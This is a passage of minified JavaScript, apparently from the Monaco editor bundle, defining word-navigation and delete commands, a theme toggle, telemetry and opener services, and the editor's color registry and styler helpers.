f(t,e),t=v([o.editorCommand],t)}(g);t.CursorWordStartRight=S;var E=function(e){function t(){return e.call(this,{inSelectionMode:!1,wordNavigationType:1,id:\"cursorWordEndRight\",precondition:null,kbOpts:{kbExpr:n.EditorContextKeys.textFocus,primary:2065,mac:{primary:529}}})||this}return f(t,e),t=v([o.editorCommand],t)}(g);t.CursorWordEndRight=E;var L=function(e){function t(){return e.call(this,{inSelectionMode:!1,wordNavigationType:1,id:\"cursorWordRight\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(g);t.CursorWordRight=L;var x=function(e){function t(){return e.call(this,{inSelectionMode:!0,wordNavigationType:0,id:\"cursorWordStartRightSelect\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(g);t.CursorWordStartRightSelect=x;var N=function(e){function t(){return e.call(this,{inSelectionMode:!0,wordNavigationType:1,id:\"cursorWordEndRightSelect\",precondition:null,kbOpts:{kbExpr:n.EditorContextKeys.textFocus,primary:3089,mac:{primary:1553}}})||this}return f(t,e),t=v([o.editorCommand],t)}(g);t.CursorWordEndRightSelect=N;var M=function(e){function t(){return e.call(this,{inSelectionMode:!0,wordNavigationType:1,id:\"cursorWordRightSelect\",precondition:null})||this}return f(t,e),t=v([o.editorCommand],t)}(g);t.CursorWordRightSelect=M;var T=function(e){function t(t){var n=e.call(this,t)||this;return n._whitespaceHeuristics=t.whitespaceHeuristics,n._wordNavigationType=t.wordNavigationType,n}return f(t,e),t.prototype.runEditorCommand=function(e,t,n){var i=this,o=t.getConfiguration(),r=l.getMapForWordSeparators(o.wordSeparators),s=t.getModel(),a=t.getSelections().map(function(e){var t=i._delete(r,s,e,i._whitespaceHeuristics,i._wordNavigationType);return new u.ReplaceCommand(t,\"\")});t.pushUndoStop(),t.executeCommands(this.id,a),t.pushUndoStop()},t}(o.EditorCommand);t.DeleteWordCommand=T;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._delete=function(e,t,n,i,o){var r=a.WordOperations.deleteWordLeft(e,t,n,i,o);return r||new s.Range(1,1,1,1)},t}(T);t.DeleteWordLeftCommand=k;var I=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._delete=function(e,t,n,i,o){var r=a.WordOperations.deleteWordRight(e,t,n,i,o);if(r)return r;var u=t.getLineCount(),l=t.getLineMaxColumn(u);return new s.Range(u,l,u,l)},t}(T);t.DeleteWordRightCommand=I;var D=function(e){function t(){return e.call(this,{whitespaceHeuristics:!1,wordNavigationType:0,id:\"deleteWordStartLeft\",precondition:n.EditorContextKeys.writable})||this}return f(t,e),t=v([o.editorCommand],t)}(k);t.DeleteWordStartLeft=D;var O=function(e){function t(){return e.call(this,{whitespaceHeuristics:!1,wordNavigationType:1,id:\"deleteWordEndLeft\",precondition:n.EditorContextKeys.writable})||this}return f(t,e),t=v([o.editorCommand],t)}(k);t.DeleteWordEndLeft=O;var R=function(e){function t(){return e.call(this,{whitespaceHeuristics:!0,wordNavigationType:0,id:\"deleteWordLeft\",precondition:n.EditorContextKeys.writable,kbOpts:{kbExpr:n.EditorContextKeys.textFocus,primary:2049,mac:{primary:513}}})||this}return f(t,e),t=v([o.editorCommand],t)}(k);t.DeleteWordLeft=R;var P=function(e){function t(){return e.call(this,{whitespaceHeuristics:!1,wordNavigationType:0,id:\"deleteWordStartRight\",precondition:n.EditorContextKeys.writable})||this}return f(t,e),t=v([o.editorCommand],t)}(I);t.DeleteWordStartRight=P;var A=function(e){function t(){return e.call(this,{whitespaceHeuristics:!1,wordNavigationType:1,id:\"deleteWordEndRight\",precondition:n.EditorContextKeys.writable})||this}return f(t,e),t=v([o.editorCommand],t)}(I);t.DeleteWordEndRight=A;var F=function(e){function t(){return e.call(this,{whitespaceHeuristics:!0,wordNavigationType:1,id:\"deleteWordRight\",precondition:n.EditorContextKeys.writable,kbOpts:{kbExpr:n.EditorContextKeys.textFocus,primary:2068,mac:{primary:532}}})||this}return f(t,e),t=v([o.editorCommand],t)}(I);t.DeleteWordRight=F}),define(d[477],h([1,0,381,13,77]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){function t(){var t=e.call(this,{id:\"editor.action.toggleHighContrast\",label:n.localize(0,null),alias:\"Toggle High Contrast Theme\",precondition:null})||this;return t._originalThemeName=null,t}f(t,e),t.prototype.run=function(e,t){var n=e.get(o.IStandaloneThemeService);this._originalThemeName?(n.setTheme(this._originalThemeName),this._originalThemeName=null):(this._originalThemeName=n.getTheme().themeName,n.setTheme(\"hc-black\"))},t=v([i.editorAction],t)}(i.EditorAction)}),define(d[478],h([1,0,160,58,50]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,i){this.contextView=new n.ContextView(e)}return e.prototype.dispose=function(){this.contextView.dispose()},e.prototype.setContainer=function(e){this.contextView.setContainer(e)},e.prototype.showContextView=function(e){this.contextView.show(e)},e.prototype.layout=function(){this.contextView.layout()},e.prototype.hideContextView=function(e){this.contextView.hide(e)},e=v([y(1,i.ITelemetryService),y(2,o.IMessageService)],e)}();t.ContextViewService=r}),define(d[479],h([1,0,7,166,45,62,46,420]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e){if(!e)return e;for(var t=\"\",n=0;n<e.length;n++){var i=e[n];i>=\"0\"&&i<=\"9\"?t+=\"0\":t+=i>=\"a\"&&i<=\"z\"?\"a\":i>=\"A\"&&i<=\"Z\"?\"A\":i}return t}function l(e){if(!e)return[];var t=[];return c(t,\"\",e),t}function c(e,t,n){n&&\"object\"==typeof n&&!Array.isArray(n)?Object.keys(n).forEach(function(i){return c(e,t?t+\".\"+i:i,n[i])}):e.push(t)}function d(e,t){return e?t.reduce(function(t,n){var i=n.split(\".\").reduce(function(e,t){return e&&\"object\"==typeof e?e[t]:void 0},e);return void 0!==i&&t.push((o={},o[n]=i,o)),t;var o},[]):[]}Object.defineProperty(t,\"__esModule\",{value:!0}),t.NullTelemetryService={_serviceBrand:void 0,publicLog:function(e,t){return n.TPromise.as(null)},isOptedIn:!0,getTelemetryInfo:function(){return n.TPromise.as({instanceId:\"someValue.instanceId\",sessionId:\"someValue.sessionId\",machineId:\"someValue.machineId\"})}},t.combinedAppender=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return{log:function(t,n){return e.forEach(function(e){return e.log(t,n)})}}},t.NullAppender={log:function(){return null}},t.anonymize=u,t.telemetryURIDescriptor=function(e){var t=e&&e.fsPath;return t?{mimeType:i.guessMimeTypes(t).join(\", \"),ext:o.extname(t),path:u(t)}:{}};var h=[\"editor.tabCompletion\",\"editor.fontFamily\",\"editor.fontWeight\",\"editor.fontSize\",\"editor.lineHeight\",\"editor.letterSpacing\",\"editor.lineNumbers\",\"editor.rulers\",\"editor.wordSeparators\",\"editor.tabSize\",\"editor.insertSpaces\",\"editor.detectIndentation\",\"editor.roundedSelection\",\"editor.scrollBeyondLastLine\",\"editor.minimap.enabled\",\"editor.minimap.renderCharacters\",\"editor.minimap.maxColumn\",\"editor.find.seedSearchStringFromSelection\",\"editor.find.autoFindInSelection\",\"editor.wordWrap\",\"editor.wordWrapColumn\",\"editor.wrappingIndent\",\"editor.mouseWheelScrollSensitivity\",\"editor.multiCursorModifier\",\"editor.quickSuggestions\",\"editor.quickSuggestionsDelay\",\"editor.parameterHints\",\"editor.autoClosingBrackets\",\"editor.autoIndent\",\"editor.formatOnType\",\"editor.formatOnPaste\",\"editor.suggestOnTriggerCharacters\",\"editor.acceptSuggestionOnEnter\",\"editor.acceptSuggestionOnCommitCharacter\",\"editor.snippetSuggestions\",\"editor.emptySelectionClipboard\",\"editor.wordBasedSuggestions\",\"editor.suggestFontSize\",\"editor.suggestLineHeight\",\"editor.selectionHighlight\",\"editor.occurrencesHighlight\",\"editor.overviewRulerLanes\",\"editor.overviewRulerBorder\",\"editor.cursorBlinking\",\"editor.cursorStyle\",\"editor.mouseWheelZoom\",\"editor.fontLigatures\",\"editor.hideCursorInOverviewRuler\",\"editor.renderWhitespace\",\"editor.renderControlCharacters\",\"editor.renderIndentGuides\",\"editor.renderLineHighlight\",\"editor.codeLens\",\"editor.folding\",\"editor.showFoldingControls\",\"editor.matchBrackets\",\"editor.glyphMargin\",\"editor.useTabStops\",\"editor.trimAutoWhitespace\",\"editor.stablePeek\",\"editor.dragAndDrop\",\"editor.formatOnSave\",\"window.zoomLevel\",\"files.autoSave\",\"files.hotExit\",\"files.associations\",\"workbench.statusBar.visible\",\"files.trimTrailingWhitespace\",\"git.confirmSync\",\"workbench.sideBar.location\",\"window.openFilesInNewWindow\",\"javascript.validate.enable\",\"window.reopenFolders\",\"window.restoreWindows\",\"extensions.autoUpdate\",\"files.eol\",\"explorer.openEditors.visible\",\"workbench.editor.enablePreview\",\"files.autoSaveDelay\",\"workbench.editor.showTabs\",\"files.encoding\",\"files.autoGuessEncoding\",\"git.enabled\",\"http.proxyStrictSSL\",\"terminal.integrated.fontFamily\",\"workbench.editor.enablePreviewFromQuickOpen\",\"workbench.editor.swipeToNavigate\",\"php.builtInCompletions.enable\",\"php.validate.enable\",\"php.validate.run\",\"workbench.welcome.enabled\",\"workbench.startupEditor\"];t.configurationTelemetry=function(e,t){return t.onDidUpdateConfiguration(function(t){t.source!==r.ConfigurationSource.Default&&(e.publicLog(\"updateConfiguration\",{configurationSource:r.ConfigurationSource[t.source],configurationKeys:l(t.sourceConfig)}),e.publicLog(\"updateConfigurationValues\",{configurationSource:r.ConfigurationSource[t.source],configurationValues:d(t.sourceConfig,h)}))})},t.lifecycleTelemetry=function(e,t){return t.onShutdown(function(t){e.publicLog(\"shutdown\",{reason:a.ShutdownReason[t]})})},t.keybindingsTelemetry=function(e,t){return t.onDidUpdateKeybindings(function(t){t.source===s.KeybindingSource.User&&t.keybindings&&e.publicLog(\"updateKeybindings\",{bindings:t.keybindings.map(function(e){return{key:e.key,command:e.command,when:e.when,args:!!e.args||void 0}})})})}}),define(d[480],h([1,0,24,4,487,70,7,64,45,31,58,16,479]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(){function e(e,t,n){void 0===n&&(n=h.NullTelemetryService),this._editorService=e,this._commandService=t,this._telemetryService=n}return e.prototype.open=function(e,t){this._telemetryService.publicLog(\"openerService\",{scheme:e.scheme});var a,c=e.scheme,d=e.path,h=e.query,p=e.fragment;if(c===r.Schemas.http||c===r.Schemas.https)i.windowOpenNoOpener(e.toString(!0));else if(\"command\"===c&&l.CommandsRegistry.getCommand(d)){var f=[];try{f=o.parse(h),Array.isArray(f)||(f=[f])}catch(e){}a=(v=this._commandService).executeCommand.apply(v,[d].concat(f))}else{var g=void 0,m=/^L?(\\d+)(?:,(\\d+))?/.exec(p);if(m&&(g={startLineNumber:parseInt(m[1]),startColumn:m[2]?parseInt(m[2]):1},e=e.with({fragment:\"\"})),!e.scheme)return s.TPromise.as(void 0);e.scheme===r.Schemas.file&&(e=n.default.file(u.normalize(e.fsPath))),a=this._editorService.openEditor({resource:e,options:{selection:g}},t&&t.openToSide)}return s.TPromise.as(a);var v},e=v([y(0,a.IEditorService),y(1,l.ICommandService),y(2,d.optional(c.ITelemetryService))],e)}();t.OpenerService=p}),define(d[23],h([1,0,44,32,385]),function(e,t,n,i,o){\"use strict\";function r(e,t,n){return h.registerColor(e,t,n)}function s(e,t){return function(n){var i=c(e,n);return i?i.darken(t):null}}function a(e,t){return function(n){var i=c(e,n);return i?i.lighten(t):null}}function u(e,t){return function(n){var i=c(e,n);return i?i.transparent(t):null}}function l(e,t,n,o){return function(r){var s=c(e,r);if(s){var a=c(t,r);return a?s.isDarkerThan(a)?i.Color.getLighterColor(s,a,n).transparent(o):i.Color.getDarkerColor(s,a,n).transparent(o):s.transparent(n*o)}return null}}function c(e,t){return null===e?null:\"string\"==typeof e?\"#\"===e[0]?i.Color.fromHex(e):t.getColor(e):e instanceof i.Color?e:\"function\"==typeof e?e(t):null}Object.defineProperty(t,\"__esModule\",{value:!0}),t.Extensions={ColorContribution:\"base.contributions.colors\"};var d=o.localize(0,null),h=new(function(){function e(){this.colorSchema={type:\"object\",description:o.localize(1,null),properties:{},additionalProperties:!1},this.colorsById={}}return e.prototype.registerColor=function(e,t,n){var i={id:e,description:n,defaults:t};return this.colorsById[e]=i,this.colorSchema.properties[e]={type:\"string\",description:n,format:\"color\",pattern:\"^#([0-9A-Fa-f]{3,4}|([0-9A-Fa-f]{2}){3,4})$\",patternErrorMessage:d},e},e.prototype.getColors=function(){var e=this;return Object.keys(this.colorsById).map(function(t){return e.colorsById[t]})},e.prototype.resolveDefaultColor=function(e,t){var n=this.colorsById[e];return n&&n.defaults?c(n.defaults[t.type],t):null},e.prototype.getColorSchema=function(){return this.colorSchema},e.prototype.toString=function(){var e=this;return Object.keys(this.colorsById).sort(function(e,t){var n=-1===e.indexOf(\".\")?0:1,i=-1===t.indexOf(\".\")?0:1;return n!==i?n-i:e.localeCompare(t)}).map(function(t){return\"- `\"+t+\"`: \"+e.colorsById[t].description}).join(\"\\n\")},e}());n.Registry.add(t.Extensions.ColorContribution,h),t.registerColor=r,t.foreground=r(\"foreground\",{dark:\"#CCCCCC\",light:\"#6C6C6C\",hc:\"#FFFFFF\"},o.localize(2,null)),t.errorForeground=r(\"errorForeground\",{dark:\"#F48771\",light:\"#A1260D\",hc:\"#F48771\"},o.localize(3,null)),t.descriptionForeground=r(\"descriptionForeground\",{light:u(t.foreground,.7),dark:u(t.foreground,.7),hc:u(t.foreground,.7)},o.localize(4,null)),t.focusBorder=r(\"focusBorder\",{dark:i.Color.fromHex(\"#0E639C\").transparent(.6),light:i.Color.fromHex(\"#007ACC\").transparent(.4),hc:\"#F38518\"},o.localize(5,null)),t.contrastBorder=r(\"contrastBorder\",{light:null,dark:null,hc:\"#6FC3DF\"},o.localize(6,null)),t.activeContrastBorder=r(\"contrastActiveBorder\",{light:null,dark:null,hc:t.focusBorder},o.localize(7,null)),t.selectionBackground=r(\"selection.background\",{light:null,dark:null,hc:null},o.localize(8,null)),t.textSeparatorForeground=r(\"textSeparator.foreground\",{light:\"#0000002e\",dark:\"#ffffff2e\",hc:i.Color.black},o.localize(9,null)),t.textLinkForeground=r(\"textLink.foreground\",{light:\"#4080D0\",dark:\"#4080D0\",hc:\"#4080D0\"},o.localize(10,null)),t.textLinkActiveForeground=r(\"textLink.activeForeground\",{light:\"#4080D0\",dark:\"#4080D0\",hc:\"#4080D0\"},o.localize(11,null)),t.textPreformatForeground=r(\"textPreformat.foreground\",{light:\"#A31515\",dark:\"#D7BA7D\",hc:\"#D7BA7D\"},o.localize(12,null)),t.textBlockQuoteBackground=r(\"textBlockQuote.background\",{light:\"#7f7f7f1a\",dark:\"#7f7f7f1a\",hc:null},o.localize(13,null)),t.textBlockQuoteBorder=r(\"textBlockQuote.border\",{light:\"#007acc80\",dark:\"#007acc80\",hc:i.Color.white},o.localize(14,null)),t.textCodeBlockBackground=r(\"textCodeBlock.background\",{light:\"#dcdcdc66\",dark:\"#0a0a0a66\",hc:i.Color.black},o.localize(15,null)),t.widgetShadow=r(\"widget.shadow\",{dark:\"#000000\",light:\"#A8A8A8\",hc:null},o.localize(16,null)),t.inputBackground=r(\"input.background\",{dark:\"#3C3C3C\",light:i.Color.white,hc:i.Color.black},o.localize(17,null)),t.inputForeground=r(\"input.foreground\",{dark:t.foreground,light:t.foreground,hc:t.foreground},o.localize(18,null)),t.inputBorder=r(\"input.border\",{dark:null,light:null,hc:t.contrastBorder},o.localize(19,null)),t.inputActiveOptionBorder=r(\"inputOption.activeBorder\",{dark:\"#007ACC\",light:\"#007ACC\",hc:t.activeContrastBorder},o.localize(20,null)),t.inputPlaceholderForeground=r(\"input.placeholderForeground\",{dark:null,light:null,hc:null},o.localize(21,null)),t.inputValidationInfoBackground=r(\"inputValidation.infoBackground\",{dark:\"#063B49\",light:\"#D6ECF2\",hc:i.Color.black},o.localize(22,null)),t.inputValidationInfoBorder=r(\"inputValidation.infoBorder\",{dark:\"#007acc\",light:\"#007acc\",hc:t.contrastBorder},o.localize(23,null)),t.inputValidationWarningBackground=r(\"inputValidation.warningBackground\",{dark:\"#352A05\",light:\"#F6F5D2\",hc:i.Color.black},o.localize(24,null)),t.inputValidationWarningBorder=r(\"inputValidation.warningBorder\",{dark:\"#B89500\",light:\"#B89500\",hc:t.contrastBorder},o.localize(25,null)),t.inputValidationErrorBackground=r(\"inputValidation.errorBackground\",{dark:\"#5A1D1D\",light:\"#F2DEDE\",hc:i.Color.black},o.localize(26,null)),t.inputValidationErrorBorder=r(\"inputValidation.errorBorder\",{dark:\"#BE1100\",light:\"#BE1100\",hc:t.contrastBorder},o.localize(27,null)),t.selectBackground=r(\"dropdown.background\",{dark:\"#3C3C3C\",light:i.Color.white,hc:i.Color.black},o.localize(28,null)),t.selectForeground=r(\"dropdown.foreground\",{dark:\"#F0F0F0\",light:null,hc:i.Color.white},o.localize(29,null)),t.selectBorder=r(\"dropdown.border\",{dark:t.selectBackground,light:\"#CECECE\",hc:t.contrastBorder},o.localize(30,null)),t.listFocusBackground=r(\"list.focusBackground\",{dark:\"#073655\",light:\"#DCEBFC\",hc:null},o.localize(31,null)),t.listFocusForeground=r(\"list.focusForeground\",{dark:null,light:null,hc:null},o.localize(32,null)),t.listActiveSelectionBackground=r(\"list.activeSelectionBackground\",{dark:\"#094771\",light:\"#3399FF\",hc:null},o.localize(33,null)),t.listActiveSelectionForeground=r(\"list.activeSelectionForeground\",{dark:i.Color.white,light:i.Color.white,hc:null},o.localize(34,null)),t.listInactiveSelectionBackground=r(\"list.inactiveSelectionBackground\",{dark:\"#3F3F46\",light:\"#CCCEDB\",hc:null},o.localize(35,null)),t.listInactiveSelectionForeground=r(\"list.inactiveSelectionForeground\",{dark:null,light:null,hc:null},o.localize(36,null)),t.listInactiveFocusBackground=r(\"list.inactiveFocusBackground\",{dark:\"#313135\",light:\"#d8dae6\",hc:null},o.localize(37,null)),t.listInactiveFocusForeground=r(\"list.inactiveFocusForeground\",{dark:null,light:null,hc:null},o.localize(38,null)),t.listHoverBackground=r(\"list.hoverBackground\",{dark:\"#2A2D2E\",light:\"#F0F0F0\",hc:null},o.localize(39,null)),t.listHoverForeground=r(\"list.hoverForeground\",{dark:null,light:null,hc:null},o.localize(40,null)),t.listDropBackground=r(\"list.dropBackground\",{dark:t.listFocusBackground,light:t.listFocusBackground,hc:null},o.localize(41,null)),t.listHighlightForeground=r(\"list.highlightForeground\",{dark:\"#0097fb\",light:\"#007acc\",hc:t.focusBorder},o.localize(42,null)),t.pickerGroupForeground=r(\"pickerGroup.foreground\",{dark:i.Color.fromHex(\"#0097FB\").transparent(.6),light:i.Color.fromHex(\"#007ACC\").transparent(.6),hc:i.Color.white},o.localize(43,null)),t.pickerGroupBorder=r(\"pickerGroup.border\",{dark:\"#3F3F46\",light:\"#CCCEDB\",hc:i.Color.white},o.localize(44,null)),t.buttonForeground=r(\"button.foreground\",{dark:i.Color.white,light:i.Color.white,hc:i.Color.white},o.localize(45,null)),t.buttonBackground=r(\"button.background\",{dark:\"#0E639C\",light:\"#007ACC\",hc:null},o.localize(46,null)),t.buttonHoverBackground=r(\"button.hoverBackground\",{dark:a(t.buttonBackground,.2),light:s(t.buttonBackground,.2),hc:null},o.localize(47,null)),t.badgeBackground=r(\"badge.background\",{dark:\"#4D4D4D\",light:\"#BEBEBE\",hc:i.Color.black},o.localize(48,null)),t.badgeForeground=r(\"badge.foreground\",{dark:i.Color.white,light:i.Color.white,hc:i.Color.white},o.localize(49,null)),t.scrollbarShadow=r(\"scrollbar.shadow\",{dark:\"#000000\",light:\"#DDDDDD\",hc:null},o.localize(50,null)),t.scrollbarSliderBackground=r(\"scrollbarSlider.background\",{dark:i.Color.fromHex(\"#797979\").transparent(.4),light:i.Color.fromHex(\"#646464\").transparent(.4),hc:u(t.contrastBorder,.6)},o.localize(51,null)),t.scrollbarSliderHoverBackground=r(\"scrollbarSlider.hoverBackground\",{dark:i.Color.fromHex(\"#646464\").transparent(.7),light:i.Color.fromHex(\"#646464\").transparent(.7),hc:u(t.contrastBorder,.8)},o.localize(52,null)),t.scrollbarSliderActiveBackground=r(\"scrollbarSlider.activeBackground\",{dark:i.Color.fromHex(\"#BFBFBF\").transparent(.4),light:i.Color.fromHex(\"#000000\").transparent(.6),hc:t.contrastBorder},o.localize(53,null)),t.progressBarBackground=r(\"progressBar.background\",{dark:i.Color.fromHex(\"#0E70C0\"),light:i.Color.fromHex(\"#0E70C0\"),hc:t.contrastBorder},o.localize(54,null)),t.editorBackground=r(\"editor.background\",{light:\"#fffffe\",dark:\"#1E1E1E\",hc:i.Color.black},o.localize(55,null)),t.editorForeground=r(\"editor.foreground\",{light:\"#333333\",dark:\"#BBBBBB\",hc:i.Color.white},o.localize(56,null)),t.editorWidgetBackground=r(\"editorWidget.background\",{dark:\"#2D2D30\",light:\"#EFEFF2\",hc:\"#0C141F\"},o.localize(57,null)),t.editorWidgetBorder=r(\"editorWidget.border\",{dark:\"#454545\",light:\"#C8C8C8\",hc:t.contrastBorder},o.localize(58,null)),t.editorSelectionBackground=r(\"editor.selectionBackground\",{light:\"#ADD6FF\",dark:\"#264F78\",hc:\"#f3f518\"},o.localize(59,null)),t.editorSelectionForeground=r(\"editor.selectionForeground\",{light:null,dark:null,hc:\"#000000\"},o.localize(60,null)),t.editorInactiveSelection=r(\"editor.inactiveSelectionBackground\",{light:u(t.editorSelectionBackground,.5),dark:u(t.editorSelectionBackground,.5),hc:u(t.editorSelectionBackground,.5)},o.localize(61,null)),t.editorSelectionHighlight=r(\"editor.selectionHighlightBackground\",{light:l(t.editorSelectionBackground,t.editorBackground,.3,.6),dark:l(t.editorSelectionBackground,t.editorBackground,.3,.6),hc:null},o.localize(62,null)),t.editorFindMatch=r(\"editor.findMatchBackground\",{light:\"#A8AC94\",dark:\"#515C6A\",hc:null},o.localize(63,null)),t.editorFindMatchHighlight=r(\"editor.findMatchHighlightBackground\",{light:\"#EA5C0055\",dark:\"#EA5C0055\",hc:null},o.localize(64,null)),t.editorFindRangeHighlight=r(\"editor.findRangeHighlightBackground\",{dark:\"#3a3d4166\",light:\"#b4b4b44d\",hc:null},o.localize(65,null)),t.editorHoverHighlight=r(\"editor.hoverHighlightBackground\",{light:\"#ADD6FF26\",dark:\"#264f7840\",hc:\"#ADD6FF26\"},o.localize(66,null)),t.editorHoverBackground=r(\"editorHoverWidget.background\",{light:t.editorWidgetBackground,dark:t.editorWidgetBackground,hc:t.editorWidgetBackground},o.localize(67,null)),t.editorHoverBorder=r(\"editorHoverWidget.border\",{light:t.editorWidgetBorder,dark:t.editorWidgetBorder,hc:t.editorWidgetBorder},o.localize(68,null)),t.editorActiveLinkForeground=r(\"editorLink.activeForeground\",{dark:\"#4E94CE\",light:i.Color.blue,hc:i.Color.cyan},o.localize(69,null)),t.defaultInsertColor=i.Color.fromRGBA(new i.RGBA(155,185,85,51)),t.defaultRemoveColor=i.Color.fromRGBA(new i.RGBA(255,0,0,51)),t.diffInserted=r(\"diffEditor.insertedTextBackground\",{dark:t.defaultInsertColor,light:t.defaultInsertColor,hc:null},o.localize(70,null)),t.diffRemoved=r(\"diffEditor.removedTextBackground\",{dark:t.defaultRemoveColor,light:t.defaultRemoveColor,hc:null},o.localize(71,null)),t.diffInsertedOutline=r(\"diffEditor.insertedTextBorder\",{dark:null,light:null,hc:\"#33ff2eff\"},o.localize(72,null)),t.diffRemovedOutline=r(\"diffEditor.removedTextBorder\",{dark:null,light:null,hc:\"#FF008F\"},o.localize(73,null));var p=i.Color.fromHex(\"#40C8AE\").transparent(.5),f=i.Color.fromHex(\"#40A6FF\").transparent(.5),g=i.Color.fromHex(\"#606060\").transparent(.4);t.mergeCurrentHeaderBackground=r(\"merge.currentHeaderBackground\",{dark:p,light:p,hc:null},o.localize(74,null)),t.mergeCurrentContentBackground=r(\"merge.currentContentBackground\",{dark:u(t.mergeCurrentHeaderBackground,.4),light:u(t.mergeCurrentHeaderBackground,.4),hc:u(t.mergeCurrentHeaderBackground,.4)},o.localize(75,null)),t.mergeIncomingHeaderBackground=r(\"merge.incomingHeaderBackground\",{dark:f,light:f,hc:null},o.localize(76,null)),t.mergeIncomingContentBackground=r(\"merge.incomingContentBackground\",{dark:u(t.mergeIncomingHeaderBackground,.4),light:u(t.mergeIncomingHeaderBackground,.4),hc:u(t.mergeIncomingHeaderBackground,.4)},o.localize(77,null)),t.mergeCommonHeaderBackground=r(\"merge.commonHeaderBackground\",{dark:g,light:g,hc:null},o.localize(78,null)),t.mergeCommonContentBackground=r(\"merge.commonContentBackground\",{dark:u(t.mergeCommonHeaderBackground,.4),light:u(t.mergeCommonHeaderBackground,.4),hc:u(t.mergeCommonHeaderBackground,.4)},o.localize(79,null)),t.mergeBorder=r(\"merge.border\",{dark:null,light:null,hc:\"#C3DF6F\"},o.localize(80,null)),t.overviewRulerCurrentContentForeground=r(\"editorOverviewRuler.currentContentForeground\",{dark:u(t.mergeCurrentHeaderBackground,1),light:u(t.mergeCurrentHeaderBackground,1),hc:t.mergeBorder},o.localize(81,null)),t.overviewRulerIncomingContentForeground=r(\"editorOverviewRuler.incomingContentForeground\",{dark:u(t.mergeIncomingHeaderBackground,1),light:u(t.mergeIncomingHeaderBackground,1),hc:t.mergeBorder},o.localize(82,null)),t.overviewRulerCommonContentForeground=r(\"editorOverviewRuler.commonContentForeground\",{dark:u(t.mergeCommonHeaderBackground,1),light:u(t.mergeCommonHeaderBackground,1),hc:t.mergeBorder},o.localize(83,null)),t.darken=s,t.lighten=a,t.transparent=u,t.oneOf=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return function(t){for(var n=0,i=e;n<i.length;n++){var o=c(i[n],t);if(o)return o}return null}}}),define(d[137],h([1,0,23]),function(e,t,n){\"use strict\";function i(e,t,n){function i(e){var i=Object.create(null);for(var o in t){var r=t[o];\"string\"==typeof r?i[o]=e.getColor(r):\"function\"==typeof r&&(i[o]=r(e))}\"function\"==typeof n?n(i):n.style(i)}return i(e.getTheme()),e.onThemeChange(i)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.attachStyler=i,t.attachCheckboxStyler=function(e,t,o){return i(t,{inputActiveOptionBorder:o&&o.inputActiveOptionBorderColor||n.inputActiveOptionBorder},e)},t.attachBadgeStyler=function(e,t,o){return i(t,{badgeBackground:o&&o.badgeBackground||n.badgeBackground,badgeForeground:o&&o.badgeForeground||n.badgeForeground,badgeBorder:n.contrastBorder},e)},t.attachInputBoxStyler=function(e,t,o){return i(t,{inputBackground:o&&o.inputBackground||n.inputBackground,inputForeground:o&&o.inputForeground||n.inputForeground,inputBorder:o&&o.inputBorder||n.inputBorder,inputValidationInfoBorder:o&&o.inputValidationInfoBorder||n.inputValidationInfoBorder,inputValidationInfoBackground:o&&o.inputValidationInfoBackground||n.inputValidationInfoBackground,inputValidationWarningBorder:o&&o.inputValidationWarningBorder||n.inputValidationWarningBorder,inputValidationWarningBackground:o&&o.inputValidationWarningBackground||n.inputValidationWarningBackground,inputValidationErrorBorder:o&&o.inputValidationErrorBorder||n.inputValidationErrorBorder,inputValidationErrorBackground:o&&o.inputValidationErrorBackground||n.inputValidationErrorBackground},e)},t.attachSelectBoxStyler=function(e,t,o){return i(t,{selectBackground:o&&o.selectBackground||n.selectBackground,selectForeground:o&&o.selectForeground||n.selectForeground,selectBorder:o&&o.selectBorder||n.selectBorder},e)},t.attachFindInputBoxStyler=function(e,t,o){return i(t,{inputBackground:o&&o.inputBackground||n.inputBackground,inputForeground:o&&o.inputForeground||n.inputForeground,inputBorder:o&&o.inputBorder||n.inputBorder,inputActiveOptionBorder:o&&o.inputActiveOptionBorder||n.inputActiveOptionBorder,inputValidationInfoBorder:o&&o.inputValidationInfoBorder||n.inputValidationInfoBorder,inputValidationInfoBackground:o&&o.inputValidationInfoBackground||n.inputValidationInfoBackground,inputValidationWarningBorder:o&&o.inputValidationWarningBorder||n.inputValidationWarningBorder,inputValidationWarningBackground:o&&o.inputValidationWarningBackground||n.inputValidationWarningBackground,inputValidationErrorBorder:o&&o.inputValidationErrorBorder||n.inputValidationErrorBorder,inputValidationErrorBackground:o&&o.inputValidationErrorBackground||n.inputValidationErrorBackground},e)},t.attachQuickOpenStyler=function(e,t,o){return i(t,{foreground:o&&o.foreground||n.foreground,background:o&&o.background||n.editorBackground,borderColor:o&&o.borderColor||n.contrastBorder,widgetShadow:o&&o.widgetShadow||n.widgetShadow,progressBarBackground:o&&o.progressBarBackground||n.progressBarBackground,pickerGroupForeground:o&&o.pickerGroupForeground||n.pickerGroupForeground,pickerGroupBorder:o&&o.pickerGroupBorder||n.pickerGroupBorder,inputBackground:o&&o.inputBackground||n.inputBackground,inputForeground:o&&o.inputForeground||n.inputForeground,inputBorder:o&&o.inputBorder||n.inputBorder,inputValidationInfoBorder:o&&o.inputValidationInfoBorder||n.inputValidationInfoBorder,inputValidationInfoBackground:o&&o.inputValidationInfoBackground||n.inputValidationInfoBackground,inputValidationWarningBorder:o&&o.inputValidationWarningBorder||n.inputValidationWarningBorder,inputValidationWarningBackground:o&&o.inputValidationWarningBackground||n.inputValidationWarningBackground,inputValidationErrorBorder:o&&o.inputValidationErrorBorder||n.inputValidationErrorBorder,inputValidationErrorBackground:o&&o.inputValidationErrorBackground||n.inputValidationErrorBackground,listFocusBackground:o&&o.listFocusBackground||n.listFocusBackground,listFocusForeground:o&&o.listFocusForeground||n.listFocusForeground,listActiveSelectionBackground:o&&o.listActiveSelectionBackground||n.lighten(n.listActiveSelectionBackground,.1),listActiveSelectionForeground:o&&o.listActiveSelectionForeground||n.listActiveS